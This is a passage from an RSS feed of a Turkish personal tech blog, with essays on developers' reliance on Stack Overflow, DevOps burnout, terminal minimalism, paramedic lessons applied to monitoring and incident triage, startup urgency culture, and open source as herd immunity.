            <pubDate>Thu, 27 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yazılım dünyasının en büyük sırrı: Mühendislerin büyük çoğunluğunun aslında cevapları ezberden değil, Stack Overflow'dan kopyalayarak ürettiği gerçeği.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/stack-overflow-kapansa-dunya-ekonomisi-coker-mi-cevap-evet/thumbnail" alt=""> Dünya genelinde bankacılık sistemlerini, havayolu rezervasyonlarını, e-ticaret sitelerini, devlet altyapılarını ve nükleer santrallerin kontrol panellerini yazan yazılım mühendisleri hakkında çok romantik bir imaj vardır. Toplum bizi, bilgisayar ekranının karşısında akıl almaz algoritmalar tasarlayan, kodları ezbere yazan ve sorunları zihinsel güçleriyle çözen süper zeki insanlar olarak hayal eder.</p>
<p>Gerçeklik bundan o kadar uzak ki...</p>
<p>Bir yazılım mühendisinin günlük iş akışının dürüst ve sansürsüz versiyonu kabaca şöyledir: Bir hatayla (bug) karşılaşırsınız. Hata mesajını (error message) kopyalarsınız. Google'a yapıştırırsınız. İlk sonuç Stack Overflow'dur. Cevapları okursunuz. En çok oy almış (upvoted) cevabı bulursunuz. O cevaptaki kod parçacığını (code snippet) projenize kopyalarsınız. Çalışır. Neden çalıştığını %100 anlamasanız bile, çalıştığı gerçeği yeterlidir. Bir sonraki hataya geçersiniz.</p>
<p>Bu döngüyü günde ortalama 15-20 kez tekrarlarsınız. Ve dünya genelinde milyonlarca mühendis aynı anda aynı şeyi yapmaktadır. Yani Stack Overflow aslında bir "Soru-Cevap sitesi" değildir; o, modern dijital medeniyetin sessiz ve görünmez altyapısıdır. Bir nevi yazılım dünyasının Wikipedia'sıdır ama çok daha kritiktir. Çünkü Wikipedia kapansa insanlar bilgiye erişemez; Stack Overflow kapansa insanlar kod yazamaz.</p>
<p>Bir düşünce deneyi yapalım: Stack Overflow yarın sabah kalıcı olarak kapandı. Ne olur? İlk saat içinde dünya genelindeki yazılım geliştirme hızı yaklaşık %60 düşer. Junior (kıdemli olmayan) mühendisler tamamen felç olur. Senior mühendisler bile o "bunu daha önce nasıl çözmüştüm" anlarında refleks olarak Google'a yazdıkları soruların cevaplarını bulamaz hale gelir.</p>
<p>İlk gün sonunda, şirketlerin sprint planlamaları (iş planları) tamamen çöker çünkü tahmin edilen süreler artık gerçeği yansıtmaz. İkinci hafta, kritik güvenlik yamaları (security patches) gecikir çünkü mühendisler yamayı nasıl uygulayacaklarını bulamaz. İlk ay sonunda, bankacılık ve finans sektöründeki yazılım projeleri durma noktasına gelir. Altı ay içinde, küresel teknoloji üretimi ciddi bir darboğaza girer.</p>
<p>Abartıyor muyum? Belki biraz. Ama çok da değil.</p>
<p>İşin en komik yanı, Stack Overflow'daki o hayat kurtarıcı cevapları yazan insanlar da genellikle başka bir Stack Overflow cevabından öğrendikleri bilgiyle yazıyorlardır. Yani ortada devasa, kendi kendini besleyen bir kolektif bilgi döngüsü var. Kimse gerçekten "her şeyi bilen" değil. Hepimiz birbirimizin cevaplarından öğreniyor ve o bilgiyi yeniden paketleyip bir başkasına aktarıyoruz.</p>
<p>Bunda utanılacak bir şey yok. Bu aslında insanlığın en güzel yanlarından biri: Kolektif zeka. Tek başına her şeyi bilemezsin ama milyonlarca mühendis bir araya gelip bilgisini paylaştığında, ortaya nükleer fizikten web tasarımına kadar her konuda anında erişilebilir devasa bir bilgi bankası çıkar. Stack Overflow, insanlığın "Birlikte daha zekiyiz" prensibinin en somut kanıtıdır. Ve evet, o kapanırsa hepimiz çok fena yanarız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>stackoverflow</category>
            <category>developer-life</category>
            <category>humor</category>
            <category>copy-paste</category>
            <category>software-engineering</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/stack-overflow-kapansa-dunya-ekonomisi-coker-mi-cevap-evet/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Burnout'un (Tükenmişliğin) Kıyısından Dönmek: Ekranlardan Uzaklaşmayı Nasıl Öğrendim?]]></title>
            <link>http://localhost:3000/blog/post/burnoutun-tukenmisligin-kiyisindan-donmek-ekranlardan-uzaklasmayi-nasil-ogrendim</link>
            <guid>burnoutun-tukenmisligin-kiyisindan-donmek-ekranlardan-uzaklasmayi-nasil-ogrendim</guid>
            <pubDate>Wed, 26 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[DevOps kültürünün karanlık yüzü olan nöbet stresinden ve sürekli online olma zorunluluğundan nasıl kurtuldum?]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/burnoutun-tukenmisligin-kiyisindan-donmek-ekranlardan-uzaklasmayi-nasil-ogrendim/thumbnail" alt=""> Eğer bir yazılım geliştirici, özellikle de altyapıdan sorumlu bir DevOps mühendisiyseniz, telefonunuzun aniden çalması (veya PagerDuty uygulamasının o korkunç siren sesini çıkarması) genellikle iyi bir haber değildir. Hele ki gecenin saat 3'ündeyse.</p>
<p>Suku Tech'i sıfırdan kurup büyütürken ve tüm sunucu mimarisinin, veritabanlarının, müşteri verilerinin sorumluluğunu tek başıma omuzlarken bir noktada vücudumun ve zihnimin çok ciddi alarmlar vermeye başladığını fark ettim. Geceleri uykumdan ter içinde uyanıp, hiçbir uyarı almadığım halde sunucu metriklerini kontrol ediyordum. Hafta sonu arkadaşlarımla bir kafede sohbet ederken bile, aklımın arka planında çalışan bir sekmede sürekli şu sorular dönüyordu: "Acaba son deploy'da bir bellek sızıntısı (memory leak) oldu mu? Veritabanı yedeği dün gece düzgün alındı mı? Sitede trafik aniden artarsa yük dengeleyici (load balancer) buna dayanabilecek mi?"</p>
<p>Buna teknoloji sektöründe "Alert Fatigue" (Uyarı Yorgunluğu) diyoruz. Ancak bunun tıbbi ve psikolojik dünyadaki karşılığı çok daha net: Burnout, yani "Tükenmişlik Sendromu".</p>
<p>O karanlık noktadan, uykusuz gecelerden ve sürekli ekrana bakma zorunluluğundan dönebilmemi sağlayan şey, işi "daha iyi ve daha çok" yapmaya çalışmak değil, işi "bırakmayı" öğrenmek oldu.</p>
<p>Kendime çok katı, esnetilemez sınırlar çizmeye karar verdim. Eğer bir sunucu gece yarısı çöküyorsa ve bu donanımsal ya da bizim öngörebildiğimiz bir hataysa, o sunucunun insan müdahalesine gerek kalmadan, tamamen otomatik olarak yeniden ayağa kalkacak (auto-scaling ve self-healing) şekilde tasarlanması gerekiyordu. Gece saat 3'te benim uykumdan uyanıp SSH ile sunucuya bağlanıp servisi yeniden başlatmam, başarılı bir DevOps süreci değil; düpedüz başarısız bir sistem tasarımıydı.</p>
<p>Teknolojiden kaynaklanan problemleri, insanı (yani kendimi) daha fazla çalıştırarak, daha fazla stres altına sokarak çözmenin asla sürdürülebilir olmadığını çok acı bir tecrübeyle anladım. Sistemlerin "esnek" olması gerekiyordu, insanların "dayanıklı" olması değil.</p>
<p>Bugün geldiğim noktada, hafta sonları bilgisayar kapağını bile açmıyorum. Doğa yürüyüşlerine çıkıyorum, ormanda kamp yapıyorum, telefonumu saatlerce sessize alıyor ve kelimenin tam anlamıyla "offline" olmanın tadını çıkarıyorum. Ve tahmin edin ne oldu? Dünyanın sonu gelmedi. Sunucular bensiz de, ben uyurken de çalışmaya devam etti. Çünkü onları artık benim yerime karar verebilecekleri şekilde kodlamıştım.</p>
<p>Bazen iyi bir sistem mühendisi olmanın, sağlam bir teknoloji şirketi yönetmenin yolu; klavye başında saatler harcamaktan değil, bilgisayarın başından kalkmayı, sistemi kendi haline bırakmayı bilmekten geçiyor. İnanın bana, sunucuları her zaman yeniden başlatabilir (reboot) veya baştan kurabilirsiniz. Ancak kendi zihin sağlığınızı ve bedeninizi "reboot" etmek o kadar kolay değildir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>burnout</category>
            <category>devops</category>
            <category>mental-health</category>
            <category>on-call</category>
            <category>founder</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/burnoutun-tukenmisligin-kiyisindan-donmek-ekranlardan-uzaklasmayi-nasil-ogrendim/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Terminal Felsefesi: Neden Hayatımın Çoğunu Siyah Bir Ekranda Geçirmeyi Seviyorum?]]></title>
            <link>http://localhost:3000/blog/post/terminal-felsefesi-neden-hayatimin-cogunu-siyah-bir-ekranda-gecirmeyi-seviyorum</link>
            <guid>terminal-felsefesi-neden-hayatimin-cogunu-siyah-bir-ekranda-gecirmeyi-seviyorum</guid>
            <pubDate>Tue, 25 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Grafik arayüzlerin (GUI) psikolojik yükü ve terminalin minimalist, odaklanmış dünyasına neden sığındığım üzerine bir deneme.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/terminal-felsefesi-neden-hayatimin-cogunu-siyah-bir-ekranda-gecirmeyi-seviyorum/thumbnail" alt=""> Çoğu insan için bilgisayar demek renkli ikonlar, animasyonlu pencereler, sürekli sağ alttan fırlayan bildirimler, dikkat dağıtıcı pop-up'lar ve tıklanması gereken sonsuz sayıda menü demek. Benim içinse bilgisayar, düz siyah bir arka plan ve üzerinde yanıp sönen beyaz (veya bazen fosforlu yeşil) bir imleçten ibaret. İnsanlar sıklıkla bana, "Neden 90'lardan kalma bir hacker filmi setindeymiş gibi çalışıyorsun? Fare (mouse) kullanmak bu kadar mı zor?" diye soruyorlar. Aslında mesele fare kullanmak ya da havalı görünmek değil; mesele tamamen odaklanmak ve zihinsel sadeliği korumak.</p>
<p>Grafik kullanıcı arayüzlerinin (GUI) büyük bir bedeli vardır. Bu bedel, işlemci gücü veya RAM tüketimi değildir; bu bedel sizin dikkatinizdir. Bir web paneline veya masaüstü uygulamasına girdiğinizde, aslında o uygulamayı tasarlayan UX/UI tasarımcılarının sizin dikkatinizi çekmek için kurduğu ince tuzaklara düşersiniz. Kırmızı bildirim balonlukları, yuvarlatılmış köşeler, algoritmaların sizi içeride tutmak için optimize ettiği akışlar, "bunu da al", "buna da tıkla" diyen agresif pencereler... Modern yazılımlar çoğu zaman bir araç olmaktan çıkıp, sizinle rekabet eden birer dikkat hırsızına dönüşür.</p>
<p>Oysa terminalin böyle bir derdi yoktur. Terminal size bir şey satmaya çalışmaz. Dikkatinizi dağıtmaz. İşinizi bölüp size "Günün nasıl geçiyor, uygulamamıza puan verir misin?" diye sormaz. Sadece bir imleç yanıp söner ve sessizce sorar: "Ne yapmamı istiyorsun?"</p>
<p>Komutu yazarsın, çalıştırır ve biter. Eğlence yok, şov yok, gürültü yok. Sadece saf, kesintisiz bir iletişim.</p>
<p>Terminalin bu acımasız ve aynı zamanda dürüst yapısı, Unix felsefesinin temelinden gelir: "Bir işi yap, ama o işi çok iyi yap." Birden fazla küçük ve yetenekli aracı (grep, awk, sed, pipe'lar) bir araya getirerek inanılmaz karmaşık veri işleme operasyonlarını saniyeler içinde halledebilirsiniz. Bir GUI uygulamasında aynı işi yapmak için muhtemelen 4 farklı menüye girmeniz, 15 kez tıklamanız ve uygulamanın donmamasını umut etmeniz gerekir.</p>
<p>Yıllar içinde fark ettim ki bu sadece bir yazılım veya araç tercihi değil, düpedüz bir yaşam felsefesi. Hayatımızdaki "arayüzler" – sosyal medya akışları, bitmeyen mesaj bildirimleri, sürekli çalan telefonlar, ardı arkası kesilmeyen Zoom toplantıları – o kadar yorucu ve tüketici ki, terminale dönmek, fırtınalı bir denizin ortasında ıssız, sessiz ve güvenli bir limana sığınmak gibi hissettiriyor. Orada sadece ben ve makine varız. Her şey kurallara, mantığa ve girdi-çıktı (I/O) prensiplerine bağlı. Ne eksik, ne fazla. Sistemin bana ne yapacağımı söylemesi yerine, ben sisteme ne yapması gerektiğini söylüyorum. Kontrol tamamen bende.</p>
<p>Belki de bu yüzden Suku Tech'i kurarken, devasa sunucu mimarilerini yönetirken veya gecenin bir yarısı production ortamında çıkan kritik bir hatayı çözerken en rahat hissettiğim yer hep o siyah ekran oldu. Çünkü kaosun, karmaşanın ve gürültünün içinde sadeliği ve netliği bulabileceğiniz tek yer orası. Terminal ekranı, bir DevOps mühendisinin meditasyon odasıdır. Eğer bilgisayarınızla aranızda grafiklerden, butonlardan ve renklerden oluşan o kalın duvarı kaldırırsanız, makinenin gerçek gücüyle ve kendi odaklanma kapasitenizin sınırlarıyla tanışırsınız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>devops</category>
            <category>terminal</category>
            <category>linux</category>
            <category>productivity</category>
            <category>minimalism</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/terminal-felsefesi-neden-hayatimin-cogunu-siyah-bir-ekranda-gecirmeyi-seviyorum/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Monitörü Değil, Hastayı Tedavi Et: Datadog/Grafana Metriklerinin Bize Söylediği Yalanlar]]></title>
            <link>http://localhost:3000/blog/post/monitoru-degil-hastayi-tedavi-et-datadoggrafana-metriklerinin-bize-soyledigi-yalanlar</link>
            <guid>monitoru-degil-hastayi-tedavi-et-datadoggrafana-metriklerinin-bize-soyledigi-yalanlar</guid>
            <pubDate>Mon, 24 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Dashboard göstergelerine körü körüne güvenmenin hem acil tıpta hem de yazılımda nasıl ölümcül körlüğe yol açtığı üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/monitoru-degil-hastayi-tedavi-et-datadoggrafana-metriklerinin-bize-soyledigi-yalanlar/thumbnail" alt=""> Acil tıp eğitiminde size defalarca tekrarlanan, duvarlara asılmış ve neredeyse her sınav sorusunda karşınıza çıkan bir altın kural vardır: "Monitörü değil, hastayı tedavi et." (Treat the patient, not the monitor.)</p>
<p>Bu kuralın arkasındaki hikaye şudur: Hastanın başına bağladığınız monitör size kalp ritmi, oksijen saturasyonu (SpO2), tansiyon ve nabız gibi verileri anlık olarak gösterir. Ancak bu veriler yanıltıcı olabilir. Parmaktaki oksimetre probu düşmüştür ve cihaz SpO2 değerini sıfır gösteriyordur; oysa hasta gayet rahat nefes alıyordur. EKG kablosu gevşemiştir ve ekranda düz çizgi (Asistol) gösteriyordur; oysa hastanın nabzı gayet güçlüdür. Tam tersi de olabilir: Monitör her şeyin yolunda olduğunu söylerken hasta gözlerinizin önünde kötüleşiyordur. Tansiyon cihazı 120/80 gösterir ama hastanın teni balmumu gibi sararmış, terleme başlamış ve bilinci kapanmaya başlamıştır. Cihaz rakamları verirken, vücudun dili bambaşka bir şey anlatıyordur.</p>
<p>Bu dersi ilk kez sahada, bir gece nöbetinde çok sert bir şekilde aldım. Yaşlı bir hastamız vardı, monitöre bağladık, vital bulguları (nabız, tansiyon, oksijen) gayet stabil görünüyordu. Rakamlar normaldi. Ancak hastanın yüzüne baktığımda bir şeylerin çok yanlış olduğunu hissettim. Göz bebekleri odaklanamıyordu, dudaklarının kenarında hafif bir morarma başlamıştı ve sorularıma verdiği cevaplar her dakika biraz daha anlamsızlaşıyordu. Monitör "Her şey yolunda" diyordu; ama hasta çöküyordu. Hızla müdahale ettik. Eğer monitöre güvenip arkamıza yaslansaydık, sonuç çok farklı olabilirdi.</p>
<p>Şimdi bir de DevOps mühendisliğine bakalım. Bugün her teknoloji şirketi Datadog, Grafana, Prometheus veya benzeri monitoring araçlarıyla dev ekranlar dolusu dashboard kurmuştur. CPU kullanımı, bellek tüketimi, istek sayısı (RPS), yanıt süresi (latency), uptime yüzdesi... Hepsi yeşil, hepsi normal aralıkta. "Sistem sağlıklı" diye arkamıza yaslanırız.</p>
<p>Ama o sırada kullanıcılar destek hattını arıyordur: "Ödeme sayfası açılmıyor." "Giriş yapamıyorum." "Sepetime ürün ekleyemiyorum." Sunucu ayakta, CPU düşük, RAM bol, uptime %100. Peki o zaman neden kullanıcılar siteyi kullanamıyor? Çünkü sorun altyapıda değil, uygulama katmanındadır. Bir API endpoint'i hatalı veri döndürüyordur, bir JavaScript hatası ödeme formunu kilitliyordur veya üçüncü parti bir servis (ödeme geçidi) sessizce zaman aşımına uğruyordur. Monitoring araçlarınız altyapıyı izliyordur ama kullanıcı deneyimini izlemiyordur.</p>
<p>Monitöre (dashboard'a) bakmak kolaydır. Güzel grafikler, yeşil çizgiler ve "All Systems Operational" (Tüm Sistemler Çalışıyor) yazısı yöneticilerin içini rahatlatır. Ancak bu, güvenlik kamerasına bakıp "Bina güvende" demek gibidir; oysa kameranın görmediği arka kapı ardına kadar açıktır.</p>
<p>Hem acil tıpta hem de sistem mühendisliğinde gerçek ustalık, sayılara ve ekranlara değil, "gerçek dünya çıktısına" (hastanın durumuna veya kullanıcının deneyimine) bakabilmektir. Dashboard'unuz her şeyin yolunda olduğunu söylüyorsa ama müşterileriniz şikayet ediyorsa, dashboard yalan söylüyordur. Monitörü değil, hastayı tedavi edin. Grafana'yı değil, kullanıcıyı dinleyin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>monitoring</category>
            <category>datadog</category>
            <category>grafana</category>
            <category>paramedic</category>
            <category>observability</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/monitoru-degil-hastayi-tedavi-et-datadoggrafana-metriklerinin-bize-soyledigi-yalanlar/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Triage (Triyaj) Sanatı: Çöken Bir Sunucuya ve Kanaması Olan Bir Hastaya Aynı Şekilde Müdahale Etmek]]></title>
            <link>http://localhost:3000/blog/post/triage-triyaj-sanati-coken-bir-sunucuya-ve-kanamasi-olan-bir-hastaya-ayni-sekilde-mudahale-etmek</link>
            <guid>triage-triyaj-sanati-coken-bir-sunucuya-ve-kanamasi-olan-bir-hastaya-ayni-sekilde-mudahale-etmek</guid>
            <pubDate>Sun, 23 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Acil tıptaki önceliklendirme (Triage) sisteminin, yazılım krizlerindeki olay yönetimiyle (Incident Management) birebir örtüşmesi üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/triage-triyaj-sanati-coken-bir-sunucuya-ve-kanamasi-olan-bir-hastaya-ayni-sekilde-mudahale-etmek/thumbnail" alt=""> Bir deprem olduğunu düşünün. Yıkılmış bir binanın önüne geldiniz ve önünüzde onlarca yaralı var. Biri bağırarak ağlıyor, biri sessizce yatıyor, biri size doğru yürüyerek yardım istiyor, birinin üzerinde tonlarca beton var. Hepsine aynı anda müdahale etmeniz imkansız. Ambulanslar sınırlı, ekipman sınırlı, zaman sınırlı. O anda ne yaparsınız?</p>
<p>Acil tıpta bu durumun adı "Triage" (Triyaj) dır. Fransızca "ayırmak, sınıflandırmak" anlamına gelen bu kelime, kriz anlarında hayatları kurtaran en acımasız ama en gerekli karar verme sanatıdır. Hastaları dört renge ayırırsınız:</p>
<p><strong>Kırmızı (Acil):</strong> Hemen müdahale edilmezse ölecek ama müdahale edilirse kurtarılabilecek hastalar. Bunlar birinci önceliktir. Kontrol edilemeyen kanama, tıkalı hava yolu, tansiyon şoku (hipovolemik şok) gibi durumlar.</p>
<p><strong>Sarı (Geciktirilebilir):</strong> Ciddi yaralı ama birkaç saat içinde müdahale edilse de hayatta kalabilecek hastalar. Kırıklar, derin kesikler gibi durumlar. Bekleyebilirler.</p>
<p><strong>Yeşil (Ayaktan):</strong> Kendi başına yürüyebilen, hayati tehlikesi olmayan hafif yaralılar. Bunlar en son bakılır.</p>
<p><strong>Siyah:</strong> Müdahale edilse bile kurtarılamayacak hastalar. Bu en zor karardır. Sınırlı kaynaklarınızı kurtarabileceğiniz hastalara yönlendirmek zorundasınızdır.</p>
<p>İşin en çarpıcı kısmı şudur: En çok bağıran, en çok ağlayan hasta genellikle en az acil olandır. Çünkü bağırabilecek ve ağlayabilecek kadar enerjisi vardır. Gerçekten ölmek üzere olan hastalar genellikle sessizdir.</p>
<p>Şimdi bu sistemi, gece yarısı şirketin tüm altyapısının çöktüğü bir senaryoya taşıyın. Slack kanallarında herkes aynı anda bağırıyor. Satış ekibi: "Ödeme sayfası çalışmıyor, müşteriler kaybediyoruz!" Pazarlama: "Blog sayfası açılmıyor, SEO puanımız düşecek!" Destek: "Kullanıcılar giriş yapamıyor!" CEO: "Neden yatırımcı panelindeki grafikler boş?" Herkes kendi sorununu en acil olarak görüyor ve hepsi aynı anda sizin dikkatinizi istiyor.</p>
<p>O an bir Triyaj yapmanız gerekir:</p>
<p><strong>Kırmızı:</strong> Kullanıcılar giriş yapamıyor demek, muhtemelen kimlik doğrulama servisi (Auth Service) veya veritabanı çökmüş demektir. Bu, sistemin kalbidir (hava yolu). Her şeyden önce bu çözülmelidir çünkü giriş yapılamadan hiçbir özellik çalışmaz.</p>
<p><strong>Sarı:</strong> Ödeme sayfası çalışmıyor. Ciddi bir gelir kaybı ama kullanıcılar en azından siteye girebiliyorsa, bu sorun Auth düzeldikten sonra ele alınabilir. Birkaç dakika gecikebilir.</p>
<p><strong>Yeşil:</strong> Blog sayfası açılmıyor ve yatırımcı paneli boş. Üzücü ama kimseyi öldürmez. Bu sorunlar en sona kalabilir.</p>
<p>Olay yerine (ister kaza yerine, ister sunucu odasına) vardığınızda, en çok bağıran kişiye (veya en çok mesaj atan yöneticiye) değil, en sessiz ama en kritik soruna odaklanmanız gerekir. Triyaj, duygularınızı bir kenara bırakıp "Kim kurtarılabilir, hangi sırayla?" sorusunu soğukkanlılıkla cevaplayabilme yetisidir.</p>
<p>Hayatımın her iki dünyasında da öğrendiğim en acımasız ama en değerli ders budur: Her şeyi aynı anda çözemezsiniz. Kaynaklarınız sınırlıdır. Her seferinde bir seçim yapmak ve o seçimin doğruluğuna güvenmek zorundasınız. Önceliklendirme, bir kriz anının en önemli becerisidir ve bu beceri, hem ambulansın arkasında hem de terminalin karşısında aynı mantıkla çalışır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>triage</category>
            <category>incident-management</category>
            <category>devops</category>
            <category>paramedic</category>
            <category>prioritization</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/triage-triyaj-sanati-coken-bir-sunucuya-ve-kanamasi-olan-bir-hastaya-ayni-sekilde-mudahale-etmek/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Gerçek Bir 'Acil Durum' Nedir? (Ambulanstan Sonra Yazılım Krizlerine Gülüp Geçmek)]]></title>
            <link>http://localhost:3000/blog/post/gercek-bir-acil-durum-nedir-ambulanstan-sonra-yazilim-krizlerine-gulup-gecmek</link>
            <guid>gercek-bir-acil-durum-nedir-ambulanstan-sonra-yazilim-krizlerine-gulup-gecmek</guid>
            <pubDate>Sat, 22 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Startup dünyasındaki bitmeyen panik kültürünün, ölüm-kalım savaşlarıyla yüzleştikten sonra ne kadar anlamsız göründüğüne dair bir perspektif.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/gercek-bir-acil-durum-nedir-ambulanstan-sonra-yazilim-krizlerine-gulup-gecmek/thumbnail" alt=""> Eğer teknoloji sektöründe, özellikle de hızlı büyüyen bir startup'ta veya kurumsal bir ajansta çalışıyorsanız, hayatınızın kelimelerinden biri mutlaka "ACİL" (ASAP) olmuştur.</p>
<p>"Müşteri sunumu var, bu butonu ACİL kırmızı yapmamız lazım!", "Yatırımcı toplantısı var, yeni modülü ACİL yayına almalıyız!", "Sunucu yavaşladı, ACİL kontrol et!". Şirket içi mesajlaşma kanallarında herkesin birbiriyle büyük harflerle konuştuğu, her hatanın (bug) bir dünyanın sonu senaryosu gibi algılandığı, kalp krizine davetiye çıkaran o zehirli çalışma kültürü... Startup dünyası, çalışanlarını her şeyin ölüm-kalım meselesi olduğuna inandırmak üzerine kuruludur.</p>
<p>Ancak geçmişinizde gerçek bir "Ölüm-Kalım" meselesinin içinde bulunduysanız (örneğin bir ambulansın arkasında, trafik kazası geçirmiş, nefes alamayan ve kalbi durmak üzere olan bir gence müdahale ettiyseniz), o kurumsal "ACİL" kelimesi anlamını tamamen, ama tamamen yitiriyor.</p>
<p>Hayatımın iki dönemini karşılaştırdığımda en çok güldüğüm şeylerden biri bu "Aciliyet" algısındaki devasa uçurumdur. Sahadaki bir paramedik için acil durum; oksijenin bitmesidir, hastanın nabzının sıfıra düşmesidir, kaza yerinde sızan benzindir. Zamana karşı yarışırsınız çünkü saniyeler (mecazi değil, kelimenin tam anlamıyla saniyeler) bir insanın yaşamla ölüm arasındaki biletidir.</p>
<p>Bu gerçeklikle yüzleştikten sonra, teknoloji dünyasına döndüğümde insanların paniklediği şeyler bana o kadar absürt gelmeye başladı ki... "Sitemiz çöktü, 15 dakikadır yayında değiliz, mahvolduk!" Hayır, mahvolmadık. Kimse ölmüyor, kimse kanamıyor, kimsenin ailesi kapıda ağlayarak bizden haber beklemiyor. Sadece birkaç kullanıcı sepetlerine ürün ekleyemedi veya birileri komik bir kedi videosunu 15 dakika geç izledi. Hepsi bu. Şirket biraz para kaybedebilir, yatırımcı biraz sinirlenebilir, Twitter'da (X) birkaç kişi söylenebilir. Ama günün sonunda herkes yatağına canlı ve sağlıklı girecek.</p>
<p>Bu perspektif (bakış açısı) kayması, benim teknoloji dünyasındaki en büyük süper gücüm oldu. Bir ürün yöneticisi panik halinde yanıma koştuğunda veya bir kriz anında sunucular alev aldığında, içimde zerre kadar bir stres hissetmiyorum. Derin bir nefes alıyorum, gülümsüyorum ve ekibime "Sorun değil, sadece kod, çözeriz" diyorum.</p>
<p>Çünkü gerçek bir felaketin kokusunu bir kez aldığınızda, bilgisayar ekranındaki sanal krizler sizi korkutamaz. İşinizi ciddiye almakla, o işi hayatın merkezine koyup kendinizi tüketmek arasındaki çizgiyi çekmek zorundasınız. Dünyayı kurtarmıyoruz (bunu mecazi olarak değil, harfiyen söylüyorum). Sadece yazılım yapıyoruz. Eğlenmenize bakın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>emergency</category>
            <category>perspective</category>
            <category>devops</category>
            <category>startup</category>
            <category>burnout</category>
            <category>paramedic</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/gercek-bir-acil-durum-nedir-ambulanstan-sonra-yazilim-krizlerine-gulup-gecmek/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Açık Kaynak Toplulukları ve Aşı Mantığı (Herd Immunity)]]></title>
            <link>http://localhost:3000/blog/post/acik-kaynak-topluluklari-ve-asi-mantigi-herd-immunity</link>
            <guid>acik-kaynak-topluluklari-ve-asi-mantigi-herd-immunity</guid>
            <pubDate>Fri, 21 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Açık kaynak kodların kitlesel olarak test edilmesi ve güvenlik açıklarının kapatılması ile toplum sağlığında uygulanan "sürü bağışıklığı" felsefesi arasındaki derin biyolojik benzerlik.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/acik-kaynak-topluluklari-ve-asi-mantigi-herd-immunity/thumbnail" alt=""> 1796 yılında İngiliz hekim Edward Jenner, tarihin en ölümcül salgınlarından biri olan çiçek hastalığına karşı ilk aşıyı geliştirdiğinde, sadece bir tıp mucizesine imza atmadı; modern toplumların hayatta kalma mimarisini kökünden değiştirdi.</p>
<p>Epidemiyolojide <strong>"Sürü Bağışıklığı" (Herd Immunity)</strong> adı verilen hayati bir prensip vardır: Bir virüsün bir popülasyonda yayılabilmesi ve tutunabilmesi için, enfekte olabileceği savunmasız (bağışık olmayan) konaklara ihtiyacı vardır. Eğer bir toplumun ezici çoğunluğu (%85-95'i) aşılanmış ve bağışıklık kazanmışsa; virüs taşıyıcıdan bir sonraki hedefe sıçrayamaz. Bulaşma zinciri kırılır. Ve böylece, henüz aşı olamayacak kadar küçük bir bebek veya kemoterapi gören bağışıklığı zayıf bir birey bile, etrafındaki "bağışık sürünün" oluşturduğu biyolojik kalkan sayesinde hayatta kalır.</p>
<p>Bu kalkan bireysel bir kahramanlık değil; kolektif bir dayanışmanın ürünüdür.</p>
<p>Şimdi bu biyolojik gerçeği alın ve modern dünyanın en kritik altyapısını oluşturan <strong>Açık Kaynak (Open Source)</strong> ekosistemine yerleştirin. Karşınıza çıkacak olan benzerlik, tesadüfün çok ötesindedir.</p>
<h3>Linus Yasası: Gözlerin Sayısı ve Biyolojik Kalkan</h3>
<p>Açık kaynak dünyasının amentüsü sayılan meşhur bir kural vardır. Eric S. Raymond, <em>Katedral ve Çarşı</em> kitabında bunu Linus Torvalds'a atıfla şöyle formüle eder:<br>
<strong>"Yeterince göz olduğunda, bütün hatalar yüzeyseldir."</strong> <em>(Given enough eyeballs, all bugs are shallow.)</em></p>
<p>Kapalı devre (proprietary), kaynak kodları kasalarda saklanan bir yazılım; aşılanmamış, dış dünyaya kapalı ve tek bir patojenin içeri sızmasıyla yerle bir olabilecek izole bir kabile gibidir. İçerideki 20 kişilik mühendislik ekibinin görmediği tek bir sıfır gün (zero-day) açığı, kabilenin sonunu getirebilir.</p>
<p>Oysa Linux çekirdeği, Kubernetes, PostgreSQL veya Node.js gibi devasa açık kaynak projeler; yeryüzündeki milyonlarca geliştiricinin gözü önünde, rüzgara, güneşe ve mikrop saçan dijital ortama açık bir şekilde yaşar.</p>
